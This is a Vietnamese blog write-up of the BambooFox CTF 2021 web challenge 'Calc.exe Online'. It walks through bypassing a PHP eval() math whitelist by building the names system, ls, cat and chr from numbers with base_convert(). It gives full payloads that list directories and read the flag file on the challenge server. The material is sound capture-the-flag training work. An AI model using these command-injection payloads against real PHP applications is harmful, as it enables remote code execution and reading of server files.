🇻🇳
th13
  • info
  • JAVA
    • Notes: RMI linh tinh
    • [CVE-2013-2165] Phân tích RichFaces vulnerability thông qua CTF challenge
  • CTF WRITE UP
    • [Web]ImaginaryCTF 2021
    • [Web]CSAW CTF 2021
    • [Web]RaRCTF 2021
    • [Web]LIT CTF 07/2021
    • [Web]redpwn 2021
    • [Web]WeCTF 2021
    • [Web]WannaGame 21/05/2021
    • [Web]San Diego CTF 2021
    • [Web]picoMini by redpwn
    • [Web]WannaGame 17/04/2021
    • [Web]picoCTF 2021
    • [Web]BambooCTF/Calc.exe
  • saved
    • Tài liệu JAV Sờ cu 101
    • [NT230]PE file Injection
    • [WU][web]root-me
    • [WU]Lord of SQLinjection
    • [WU][Web]CyberTalents
    • [exploit][sqli]Challenge ngày Tết
Powered by GitBook
On this page
  • Overview
  • SEEKING
  • INJECTION
  • system(ls):
  • system(ls /):
  • system(cat /flag_a2647e5eb8e9e767fe298aa012a49b50)

Was this helpful?

Edit on GitHub
  1. CTF WRITE UP

[Web]BambooCTF/Calc.exe

Nguyên cuộc thi làm được 1 bài :( thôi cũng tập tành viết write up để sau này nhìn lại 1 con gà bắt đầu với ctf như làooooo

Previous[Web]picoCTF 2021NextTài liệu JAV Sờ cu 101

Last updated 4 years ago

Was this helpful?

Chall:

Source:

Cùng nhìn tổng quan đề bài 1 xíu nhé!!!!

Overview

Ctr+U coi đi kiếm source xíu. Ồ cho file source code nè:

Nào như mọi lần tui bắt đầu đi đọc code và kết luận vài dòng:

  • Đây là code php

  • Có 2 cái function

  • Param của mình truyền vào là đi qua hàm safe_eval()

  • Trong safe_eval(), nó đưa param của mình cho is_safe() kiểm tra

  • Trong is_safe(), nó bắt đầu chạy code các kiểu -> tóm tắt lại rằng: Chỉ được dùng các hàm trong toàn học, và toán tử +-*/

  • Sau khi is_safe() true sẽ cho chúng ta thực thi (eval), ngược lại sẽ xuất ra màn hình 1 chuỗi.

Vậy giải pháp rút ra là phải inject vào 1 đoạn code sao cho hàm is_safe() trả về true rồi tạo thành 1 command có nghĩa để thực thi được đến server server.

SEEKING

Mình là một con gà mờ về ctf. Nên khi đọc vào trong đầu nghĩ là "Ủa? sao được ta? hàm của toán để nó thành command có nghĩa kiểu gì?". Quyết định ăn miếng bánh thư giãn cho đầu óc suy nghĩ ngoài cái hộp. Ngẫm nghĩ lại lúc trước có làm (đọc write up làm theo) một số bài web thì các bài liên quan đến eval() thì exploit trực tiếp vô luôn, còn cái này có filter thì thường dùng những kỹ thuật xor hay bằng cách nào đấy biến số thành chữ.

Thế là mình quyết định đi tìm các hàm biến số thành chữ hêh

Lúc đầu đi tìm thì mình thấy 1 vài hàm như dechex decoct thì mình dzui vì thấy có khả năng, mà nghĩ lại: "Ủa :)) phải có đủ bảng chữ cái chứ, hong ổn rồi" Một hồi mình nhìn kỹ xíu nữa thì thấy 1 hàm base_convert, hehe nghe xịn mình liền lên w3school tìm hướng dẫn sử dụng (tại w3 có chỗ debug luôn nên mình ưu tiên).

Hehe boizzz, ngonnnnn

Sau khi đã tìm được hồ cá, lượm được cần câu. Giờ phải dùng kỹ năng đi câu hoyyyyyyyyy

INJECTION

Quay lại với hình 1 nhé, coi lại chỗ để nhập phép tính. Trong đầu phải ghi nhớ rằng: "Bây giờ phải dùng base_convert để biến những con số thành 1 command có nghĩa rồi bỏ vô payload này nhaaaa"

system(ls):

system(): base_convert(1751504350,10,36)()

ls: base_convert(784,10,36)

PAYLOAD: base_convert(1751504350,10,36)(base_convert(784,10,36))

Sau đó sẽ trả về kết quả:

Ò ở đây chỉ có index chứ hong có flag :( Mình đi ra thư mục gốc xem thử có flag ngoài đó hong

system(ls /):

Lúc này có cái khó khăn là có khoảng trắng và dấu '/'. hmmmmm? làm shaooooo? Mình tìm mọi cách và được chỉ dẫn đến sử dụng ord để lấy mã ascii 1 chữ và chr để đổi ascii ra ký tự. Việc mình cần làm là gọi hàm chr thông qua hàm base_convert và số (số này là đổi chuỗi "chr" từ base-36 sang base-10). Tiếp đó dùng các dấu '.' để nối các hàm lại với nhau.

system(): base_convert(1751504350,10,36)

ls: base_convert(784,10,36)

space: base_convert(16191,10,36)(32)

/: base_convert(16191,10,36)(47)

PAYLOAD: base_convert(1751504350,10,36)(base_convert(784,10,36).base_convert(16191,10,36)(32).base_convert(16191,10,36)(47))

Nhận ngay kết quả:

Á à thì ra flag nằm ngày đây: flag_a2647e5eb8e9e767fe298aa012a49b50 Giờ thì mình mở ra xem hoyyyyy

system(cat /flag_a2647e5eb8e9e767fe298aa012a49b50)

system(): base_convert(1751504350,10,36)()

cat: base_convert(15941,10,36)

space: .base_convert(16191,10,36)(32)

/: .base_convert(16191,10,36)(47)

flag: .base_convert(727432,10,36)

_: .base_convert(16191,10,36)(95)

a2647e5eb8e9e767fe298aa012a49b50): .base_convert(788365066082,10,36).base_convert(880282369231,10,36).base_convert(1206073849608,10,36).base_convert(83329543332,10,36)

Đoạn nào chữ thôi thì mình chỉ cnầ dùng base_convert còn đoạn nào có ký tự đặc biệt thì mình kết hợp với chr (16191 base36) nữa nhé! Ở chuỗi chữ và số dài loằng ngoằng kia ban đầu mình chỉ dùng 1 lần base_convert nhưng mà nó bị tràn số ra kết quả hong chính xác nên mình chia thành 4 đoạn. Giờ chỉ cần ghép lại tất cả để có payload chính xác:

PAYLOAD: base_convert(1751504350,10,36)(base_convert(15941,10,36).base_convert(16191,10,36)(32).base_convert(16191,10,36)(47).base_convert(727432,10,36).base_convert(16191,10,36)(95).base_convert(788365066082,10,36).base_convert(880282369231,10,36).base_convert(1206073849608,10,36).base_convert(83329543332,10,36))

Hơi dài nhưng chỉ 405chars vẫn thỏa < 1024 của đề bài. Cuối cùng nhận được kết quả:

Trên đây là tất cả write-up của mình về bài "Calc.exe Onl", trình còn kém nên làm còn mơ hồ, diễn giải có thể màu mè hoặc không đúng. Mong bạn đọc có thể đóng góp ý kiến về trang cá nhân của mình <3 Chân thành cảm ơn!

http://chall.ctf.bamboofox.tw:13377/
https://github.com/rimc2t/ctf-source-saved/tree/main/BambooFox-CTF-01-2021/Web-Calc.exe-Online
(Đề bài mới vô trông như này)
(Thử enter vài cái)
(Ctr+U)
(Source của chall)
(hàm mình đang cần)
(w3school chỉ cách dùng hàm nè)
(Kết quả của system(ls /)
(Kết quả cuối cùngggggg)